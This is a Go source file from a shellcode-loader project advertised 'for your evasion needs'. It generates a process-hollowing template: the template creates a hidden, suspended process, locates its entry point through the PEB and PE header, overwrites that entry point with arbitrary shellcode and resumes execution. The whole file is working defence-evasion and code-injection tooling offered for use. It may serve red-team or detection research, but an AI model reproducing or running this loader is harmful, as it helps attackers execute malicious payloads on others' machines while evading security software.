myph~ shellcode loader for your evasion needs |
| git clone https://github.com/matro7sh/myph.git |
| log | files | refs | archive | README | LICENSE |
processHollowing.go (6013B)
1 package loaders 2 3 import ( 4 "fmt" 5 "strings" 6 ) 7 8 /* 9 For more information, feel free to read this: 10 https://www.blackhat.com/docs/asia-17/materials/asia-17-KA-What-Malware-Authors-Don't-Want-You-To-Know-Evasive-Hollow-Process-Injection-wp.pdf 11 12 Adapted from 13 https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs 14 */ 15 16 type ProcHollowTemplate struct{} 17 18 func (t ProcHollowTemplate) Import() string { 19 return fmt.Sprintf(` 20 import ( 21 "encoding/binary" 22 "syscall" 23 "unsafe" 24 ) 25 `) 26 } 27 28 func (t ProcHollowTemplate) Const() string { 29 return fmt.Sprintf(` 30 const ( 31 CREATE_SUSPENDED = 0x00000004 32 CREATE_NO_WINDOW = 0x08000000 33 34 MEM_COMMIT = 0x00001000 35 MEM_RESERVE = 0x00002000 36 PAGE_EXECUTE_READWRITE = 0x00000040 37 ) 38 39 var ( 40 kernel32 = syscall.MustLoadDLL("kernel32.dll") 41 readProcessMemory = kernel32.MustFindProc("ReadProcessMemory") 42 writeProcessMemory = kernel32.MustFindProc("WriteProcessMemory") 43 resumeThread = kernel32.MustFindProc("ResumeThread") 44 WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject") 45 46 ntdll = syscall.MustLoadDLL("ntdll.dll") 47 zwQueryInformationProcess = ntdll.MustFindProc("ZwQueryInformationProcess") 48 ) 49 50 51 /* need to redefine this so that compile doesnt whine */ 52 type PROCESS_BASIC_INFORMATION struct { 53 Reserved1 uintptr 54 PebAddress uintptr 55 Reserved2 uintptr 56 Reserved3 uintptr 57 UniquePid uintptr 58 MoreReserved uintptr 59 } 60 `) 61 } 62 63 func (t ProcHollowTemplate) Init() string { 64 return "" 65 } 66 67 func (t ProcHollowTemplate) Process() string { 68 return "" 69 } 70 71 func (t ProcHollowTemplate) GetTemplate(targetProcess string) string { 72 var template = ` 73 package main 74 75 __IMPORT__STATEMENT__ 76 77 __CONST__STATEMENT__ 78 79 func createProcess(processName string) *syscall.ProcessInformation { 80 var si syscall.StartupInfo 81 var pi syscall.ProcessInformation 82 83 commandLine, err := syscall.UTF16PtrFromString(processName); if err != nil { 84 panic(err) 85 } 86 87 err = syscall.CreateProcess( 88 nil, 89 commandLine, 90 nil, 91 nil, 92 false, 93 CREATE_SUSPENDED | CREATE_NO_WINDOW, 94 nil, 95 nil, 96 &si, 97 &pi, 98 ); if err != nil { 99 panic(err) 100 } 101 102 return &pi 103 } 104 105 106 func ExecuteOrderSixtySix(shellcode []byte) { 107 processName := "__PROCESS__" 108 process := createProcess(processName) 109 pHandle := uintptr(process.Process) 110 tHandle := uintptr(process.Thread) 111 112 pointerSize := unsafe.Sizeof(uintptr(0)) 113 basicInfo := &PROCESS_BASIC_INFORMATION{} 114 unusedTmpValue := 0 115 116 /* Get Process Environment Block */ 117 r, _, err := zwQueryInformationProcess.Call( 118 pHandle, 119 0, 120 uintptr(unsafe.Pointer(basicInfo)), 121 pointerSize * 6, 122 uintptr(unsafe.Pointer(&unusedTmpValue)), 123 ); if r != 0 { 124 panic(err) 125 } 126 127 /* Query PEB for ImageBaseAddress */ 128 imageBaseAddress := basicInfo.PebAddress + 0x10 129 130 // Get entry point of the actual process executable 131 // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR)) 132 // From the PEB (address we got in last call), we have to do the following: 133 // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing 134 // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header 135 // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset 136 // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address 137 // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. 138 139 140 // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing 141 procAddr := make([]byte, 0x8) 142 read := 0 143 144 r, _, err = readProcessMemory.Call( 145 pHandle, 146 imageBaseAddress, 147 uintptr(unsafe.Pointer(&procAddr[0])), 148 uintptr(len(procAddr)), 149 uintptr(unsafe.Pointer(&read)), 150 ); if r == 0 { 151 panic(err) 152 } 153 154 // now we can read PE header 155 exeBaseAddr := binary.LittleEndian.Uint64(procAddr) 156 peBuffer := make([]byte, 0x200) 157 r, _, err = readProcessMemory.Call( 158 pHandle, 159 uintptr(exeBaseAddr), 160 uintptr(unsafe.Pointer(&peBuffer[0])), 161 uintptr(len(peBuffer)), 162 uintptr(unsafe.Pointer(&read)), 163 ); if r == 0 { 164 panic(err) 165 } 166 167 // 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header 168 lfaNewPos := peBuffer[0x3c : 0x3c + 0x4] 169 lfanew := binary.LittleEndian.Uint32(lfaNewPos) 170 171 // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset 172 rvaOffset := lfanew + 0x28 173 174 // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address 175 rvaOffsetPos := peBuffer[rvaOffset : rvaOffset + 0x4] 176 rva := binary.LittleEndian.Uint32(rvaOffsetPos) 177 178 // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. 179 entrypointAddress := exeBaseAddr + uint64(rva) 180 181 182 /* overwrite process memory at entrypointAddress */ 183 r, _, err = writeProcessMemory.Call( 184 pHandle, 185 uintptr(entrypointAddress), 186 uintptr(unsafe.Pointer(&shellcode[0])), 187 uintptr(len(shellcode)), 188 0, 189 ); if r == 0 { 190 panic(err) 191 } 192 193 /* trigger shellcode execution */ 194 r, _, err = resumeThread.Call(tHandle); if r == 0 { 195 panic(err) 196 } 197 } 198 ` 199 template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 200 template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 201 return strings.Replace(template, "__PROCESS__", targetProcess, -1) 202 }